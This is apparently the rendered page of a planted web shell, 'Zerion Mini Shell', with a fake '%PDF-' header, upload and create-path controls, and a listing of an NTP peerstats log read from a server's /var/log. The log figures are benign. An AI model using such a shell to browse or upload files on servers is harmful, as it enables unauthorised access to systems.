%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/var/log/ntpstats/
Upload File :
Create Path :
Current File : //proc/self/root/var/log/ntpstats/peerstats.20190809

58704 914.367 192.185.0.113 965a 0.002573262 0.031182601 0.015016328 0.004425619
58704 1961.443 192.185.0.113 965a 0.006616011 0.031002428 0.016076335 0.007610673
58704 4051.433 192.185.0.113 965a 0.003518717 0.031186766 0.019206808 0.004934519
58704 5075.464 192.185.0.113 965a 0.003029059 0.031003318 0.015068737 0.004517998
58704 7142.464 192.185.0.113 965a 0.008997383 0.031026304 0.014981313 0.007589498
58704 9281.464 192.185.0.113 965a -0.002533746 0.031073596 0.015399554 0.008197025
58704 10365.447 192.185.0.113 965a 0.000228876 0.031039469 0.015552307 0.005118724
58704 12471.452 192.185.0.113 965a -0.002486770 0.031209820 0.015289047 0.006283459
58704 14582.464 192.185.0.113 965a -0.003188228 0.031183982 0.015265610 0.005517068
58704 15653.405 192.185.0.113 965a -0.005848210 0.031046432 0.015385081 0.004704723
58704 17795.377 192.185.0.113 965a -0.003331994 0.031061049 0.015421936 0.002147420
58704 19898.379 192.185.0.113 965a -0.001350469 0.031065772 0.015302581 0.002770911
58704 22058.440 192.185.0.113 965a 0.001177904 0.030953759 0.015546975 0.004093369
58704 24150.432 192.185.0.113 965a -0.002059337 0.031065917 0.019097756 0.002035827
58704 25195.463 192.185.0.113 965a 0.000378985 0.031095729 0.019080999 0.002493555
58704 26242.424 192.185.0.113 965a -0.002563876 0.031225184 0.019082231 0.002546516
58704 27267.463 192.185.0.113 965a -0.002472226 0.031219229 0.014988989 0.002130026
58704 28339.421 192.185.0.113 965a 0.001885116 0.031200423 0.015256294 0.003439634
58704 29407.367 192.185.0.113 965a -0.001245370 0.031128003 0.015360473 0.001894803
58704 31503.463 192.185.0.113 965a 0.002625872 0.031136189 0.019123481 0.003530501
58704 32590.464 192.185.0.113 965a 0.003329629 0.031253180 0.015476255 0.004034205
58704 33646.398 192.185.0.113 965a -0.000236601 0.031081934 0.015380102 0.002136047
58704 35788.369 192.185.0.113 965a 0.001233081 0.031032374 0.015526175 0.001803781
58704 37900.381 192.185.0.113 965a -0.001956387 0.031052396 0.019234983 0.003822381
58704 38945.464 192.185.0.113 965a -0.001910753 0.031097027 0.015213108 0.003369217
58704 39987.369 192.185.0.113 965a 0.001740704 0.030983343 0.015142971 0.002314279
58704 42065.418 192.185.0.113 965a 0.004066840 0.031063223 0.019068108 0.003902974
58704 43102.463 192.185.0.113 965a 0.002366313 0.031057310 0.015059358 0.002569571
58704 45218.464 192.185.0.113 965a 0.000896006 0.031056867 0.015298889 0.002015501
58704 47345.464 192.185.0.113 965a -0.006434927 0.030984683 0.015462366 0.007471068
58704 49510.364 192.185.0.113 965a -0.001533919 0.030925029 0.015614884 0.002803684
58704 51610.459 192.185.0.113 965a 0.003095123 0.031073878 0.029316997 0.019623194
58704 52636.418 192.185.0.113 965a 0.003065335 0.031061766 0.021448091 0.019516817
58704 53671.463 192.185.0.113 965a -0.000676683 0.031003010 0.018522664 0.017747545
58704 55739.463 192.185.0.113 965a 0.006390405 0.030997874 0.015630476 0.020818137
58704 57849.491 192.185.0.113 965a 0.001266636 0.031048746 0.019219681 0.019703035
58704 58875.428 192.185.0.113 965a -0.002358410 0.031082506 0.015021674 0.018391144
58704 59924.464 192.185.0.113 965a 0.000554330 0.031000037 0.016094500 0.007458570
58704 60972.425 192.185.0.113 965a -0.003883132 0.030964533 0.015632827 0.007572057
58704 63082.435 192.185.0.113 965a -0.001058816 0.031102235 0.019552389 0.007139665
58704 64124.464 192.185.0.113 965a -0.001311707 0.030984569 0.015279262 0.006457965
58704 65208.389 192.185.0.113 965a -0.004884750 0.030876105 0.015460901 0.005729696
58704 67303.385 192.185.0.113 965a -0.003410908 0.031131109 0.019308636 0.002621086
58704 68363.464 192.185.0.113 965a -0.011344167 0.031052561 0.015325901 0.007902910
58704 69432.413 192.185.0.113 965a -0.005344894 0.031050804 0.015401780 0.003457774
58704 71502.384 192.185.0.113 965a -0.002897910 0.030928710 0.015067443 0.004270139
58704 73577.429 192.185.0.113 965a -0.004600364 0.030948203 0.018829806 0.003432004
58704 74608.464 192.185.0.113 965a 0.004302784 0.030959361 0.014948673 0.010532194
58704 76687.489 192.185.0.113 965a 0.001077686 0.031110972 0.019019978 0.005956879
58704 77739.392 192.185.0.113 965a 0.002213073 0.031014067 0.015151970 0.006253102
58704 79852.405 192.185.0.113 965a 0.003382707 0.031088391 0.015779311 0.005564816
58704 80933.464 192.185.0.113 965a 0.007105974 0.031081609 0.015720419 0.007206885
58704 83011.463 192.185.0.113 965a 0.005407747 0.031048067 0.015201040 0.005512394
58704 85105.464 192.185.0.113 965a 0.001028480 0.031073724 0.018992055 0.003669102
58704 86139.392 192.185.0.113 965a -0.001354297 0.031111328 0.015032641 0.005796198

Zerion Mini Shell 1.0